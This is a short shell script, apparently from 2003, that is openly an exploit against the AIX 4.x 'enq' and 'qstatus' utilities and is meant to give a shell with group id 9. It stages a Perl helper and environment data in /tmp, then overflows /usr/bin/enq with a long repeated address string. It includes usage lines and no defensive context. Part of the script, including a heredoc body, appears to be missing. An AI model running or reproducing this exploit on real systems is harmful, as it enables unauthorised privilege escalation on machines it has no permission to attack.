#!/bin/sh # FileName: ex_enq_aix4x.sh # Exploit "enq & qstatus" of Aix4.x to get egid=9 shell. # Usage : chmod ex_enq_aix4x.sh ; ./ex_enq_aix4x.sh # Tested : on Aix4.3.3 # Author : watercloud@xfocus.org # Site : www.xfocus.org www.xfocus.net # Date : 2003-4-24 # Announce: use as your owner risk! PERL=/usr/bin/perl TMP=/tmp/.env.tmp SHPL=/tmp/.sh.pl cat >$SHPL< $TMP . $TMP /bin/rm -f $TMP CC=A`$PERL $SHPL` ; export CC /bin/rm -f $SHPL /usr/bin/enq -w"`perl -e 'print "\x2f\xf2\x2b\x10"x600'`" #EOF